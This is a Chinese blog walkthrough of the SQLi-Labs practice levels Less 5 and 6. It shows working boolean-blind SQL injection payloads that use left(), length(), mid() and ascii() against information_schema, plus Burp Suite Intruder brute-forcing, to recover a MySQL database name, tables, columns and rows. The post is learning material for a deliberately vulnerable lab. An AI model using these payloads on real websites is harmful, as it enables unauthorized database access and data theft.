zoukankan      html  css  js  c++  java
  • SQLi-Labs:Less5-Less6

    Less 5

    这里好像只把库名注入出来就可以,我为了自己熟悉语句,在用ASCII码方法的时候一直猜解到了字段内容,看我博客的话,按需查看就可。

    先输入?id=1,查看是否有注入

     我们随便输入一个不存在的id,即?id=9999

     我们可以发现无论是正确的还是错误的都没有像前四关那样显示输出结果,正确就显示you are in........,错误就什么都不显示,通过此可以判断这一关是布尔盲注(正确时,返回一个页面;错误的时候,不变)

     此时我们加上单引号,即输入?id=1',产生报错,我们可以知道存在漏洞,是字符型注入并且是布尔盲注

     

    使用 order by 语句,发现还是三列(如下两图对比)

     

     这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现:you are in.........,并没显示有效信息,我们可以使用left()函数,来探取、判断用户信息,left()函数用法如下图示例。语句中数字1表示从左取1个字符,2就是表示从左取2个字符。

    用到lesson 5里面:?id=1' and (select left(database(),2))='se' --+

    此时返回正常,说明库的前两个字母为se,但这前提是我们知道这个库是security,所以上来直接猜se,实际不知道库名的时候,挨个用26个字母猜是很繁琐的(法一

    法二:比较ASCII码

    1、先确定库名长度:?id=1' and length(database())>7 --+

     7不报错,8报错说明库名长度8个字母

    2、根据ASCII码逐个判断库名字母(使用mid(字符串,m,n)截取函数,m表示从左边第几个开始取,n表示取几个)

       ?id=1' and ascii(mid(database(),1,1))>114 --+                注:比114大正确,比115大错误,所以是115,对照ASCII表,第一个字母是‘s’

     

     逐个将8个字母都猜出来,库名为security

    3、猜表名,因为是MySQL数据库,我们就想到了information_schema这个重要的库 (这里用到了limit(m,n)函数,因为security库里有多个表,我们只能猜一个表的一个字母,所以要规定猜的是哪个,函数里m代表从第几行开始,n表示取几行,但要注意,取第一行的时候,m要写成0,以此类推)

    ?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+

     

    可知第一个表名的第一个字母是e,继续猜解,知道了第一个表名是emails 

    4、猜字段(亲测在构造语句写where条件的时候,表名需要写在库名前面,我一开始库名写在and前面就一直报错)

    ?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)) >105 --+

     

     可知security库里emails表的第一个字段名的第一个字母是i,继续猜解,知道了第一个字段是id

    5、猜内容

    ?id=1' and ascii(mid((select id from security.emails limit 0,1),1,1)) >48 --+

     第一个内容id为1

    至此,ASCII方法演示完毕,但是,这样猜解读起来都很麻烦,做起来更甚,我们还有第三个方法:使用burp suite爆破

    法三:burp suite爆破

      爆破过程:先设置代理,打开burp suite,此时在第五关url后面输入的语句是法一的left()函数,即:?id=1' and (select left(database(),1))='a' --+ ,burp suite抓到包,发送到Intruder,点击clear,再选中a,将a作为变量,点击ADD$         (注:我们要爆破的就是a)

     把相关配置配置好,开始爆破

     出现的结果,点击length会自动进行排序,在最上面,数值与其他结果不一样的就是正确的

     以此类推,之后操作一样,不断爆破,最后得到猜解出结果为security


    Less 6

    输入?id=1,我们发现,这一关与第五关一样,只是单引号变成了双引号而已,记得id数字右边要加双引号并用--+注释后面的双引号,其余均与第五关一致
    示范一下,注入语句变成          ?id=1" and (select left(database(),1))='s' --+

  • 相关阅读:
    python
    python
    python
    python
    python
    python
    python
    python
    人生苦短,我用python,为什么选择python,python简介
    Mysql-查询
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12630009.html
Copyright © 2011-2022 走看看